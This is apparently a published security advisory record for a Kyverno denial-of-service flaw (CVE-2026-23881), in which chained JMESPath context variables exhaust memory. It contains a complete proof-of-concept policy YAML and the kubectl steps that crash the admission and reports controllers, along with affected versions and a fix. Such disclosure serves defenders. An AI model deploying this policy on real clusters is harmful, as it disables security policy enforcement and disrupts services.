{"schema_version":"1.7.3","id":"GHSA-r2rj-wwm5-x6mq","published":"2026-01-27T18:02:22Z","modified":"2026-02-04T04:03:29.077397Z","aliases":["BIT-kyverno-2026-23881","CVE-2026-23881","GO-2026-4382"],"related":["CGA-6f7x-65fp-w8x5"],"summary":"Kyverno Denial of Service via Context Variable Amplification in Policy Engine","details":"## Summary\n\nUnbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.\n\n## Details\n\nFor example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:\n\nThe PoC attack uses exponential doubling:\n- `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB\n- `l1` = `join('', [l0, l0])` → 2KB\n- `l2` = `join('', [l1, l1])` → 4KB\n- ... continues to `l18` → 256MB\n\nThe context evaluation has no cumulative size limit, allowing unbounded memory allocation.\n\n## PoC\n\nTested on Kyverno v1.16.1 on k8s v1.34.0 (kind).\n\n1. Create namespace:\n```bash\nkubectl create namespace poc-test\n```\n\n2. Observe pod statuses from `kyverno` namespace on another terminal:\n```bash\nkubectl get pods -n kyverno -w\n```\n\n2. Apply malicious policy:\n```yaml\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: memory-exhaustion-poc\n  namespace: poc-test\nspec:\n  validationFailureAction: Enforce\n  rules:\n    - name: exhaust-memory\n      match:\n        any:\n          - resources:\n              kinds:\n                - ConfigMap\n      context:\n        - name: l0\n          variable:\n            jmesPath: random('[a-zA-Z0-9]{1000}')\n        - name: l1\n          variable:\n            jmesPath: join('', [l0, l0])\n        - name: l2\n          variable:\n            jmesPath: join('', [l1, l1])\n        - name: l3\n          variable:\n            jmesPath: join('', [l2, l2])\n        - name: l4\n          variable:\n            jmesPath: join('', [l3, l3])\n        - name: l5\n          variable:\n            jmesPath: join('', [l4, l4])\n        - name: l6\n          variable:\n            jmesPath: join('', [l5, l5])\n        - name: l7\n          variable:\n            jmesPath: join('', [l6, l6])\n        - name: l8\n          variable:\n            jmesPath: join('', [l7, l7])\n        - name: l9\n          variable:\n            jmesPath: join('', [l8, l8])\n        - name: l10\n          variable:\n            jmesPath: join('', [l9, l9])\n        - name: l11\n          variable:\n            jmesPath: join('', [l10, l10])\n        - name: l12\n          variable:\n            jmesPath: join('', [l11, l11])\n        - name: l13\n          variable:\n            jmesPath: join('', [l12, l12])\n        - name: l14\n          variable:\n            jmesPath: join('', [l13, l13])\n        - name: l15\n          variable:\n            jmesPath: join('', [l14, l14])\n        - name: l16\n          variable:\n            jmesPath: join('', [l15, l15])\n        - name: l17\n          variable:\n            jmesPath: join('', [l16, l16])\n        - name: l18\n          variable:\n            jmesPath: join('', [l17, l17])\n      validate:\n        message: \"Memory exhaustion PoC\"\n        deny:\n          conditions:\n            any:\n              - key: \"{{ l18 }}\"\n                operator: Equals\n                value: \"impossible-match\"\n```\n\nAs soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.\n\n4. Trigger policy evaluation on the admission controller:\n```bash\nkubectl create configmap trigger -n poc-test --from-literal=key=value\n```\n\nResponse:\n\n```\nerror: failed to create configmap: Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n```\n\nThe Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.\n\n5. Check pod status from the `kyverno` namespace:\n\n```bash\nkubectl get pods -n kyverno\n```\n\nOutputs:\n\n```\nkyverno              kyverno-admission-controller-58cb4b76c9-wd45p    0/1     OOMKilled          1 (20s ago)   178m\nkyverno              kyverno-reports-controller-576566fb98-pfb2f      0/1     OOMKilled          1 (1s ago)   178m\n```\n\nWhile the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash.\n\n\n## Impact\n\nDenial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:\n\n- Pod OOMKill and service disruption\n- No logs on why the crash occurred (admission controller, reports controller)\n- Cluster-wide policy enforcement disabled and security policies stop being evaluated\n- If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage\n- Applications depending on Kyverno mutations may deploy with incorrect configurations\n\nAny Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.\n\n## Mitigation\n\nAdd a context size limit to prevent unbounded memory allocation during policy evaluation.","affected":[{"package":{"name":"github.com/kyverno/kyverno","ecosystem":"Go","purl":"pkg:golang/github.com/kyverno/kyverno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.15.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-r2rj-wwm5-x6mq/GHSA-r2rj-wwm5-x6mq.json"}},{"package":{"name":"github.com/kyverno/kyverno","ecosystem":"Go","purl":"pkg:golang/github.com/kyverno/kyverno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.16.0-rc.1"},{"fixed":"1.16.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-r2rj-wwm5-x6mq/GHSA-r2rj-wwm5-x6mq.json"}}],"references":[{"type":"WEB","url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23881"},{"type":"WEB","url":"https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f"},{"type":"WEB","url":"https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"},{"type":"PACKAGE","url":"https://github.com/kyverno/kyverno"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-01-27T18:02:22Z","nvd_published_at":"2026-01-27T17:16:12Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"}]}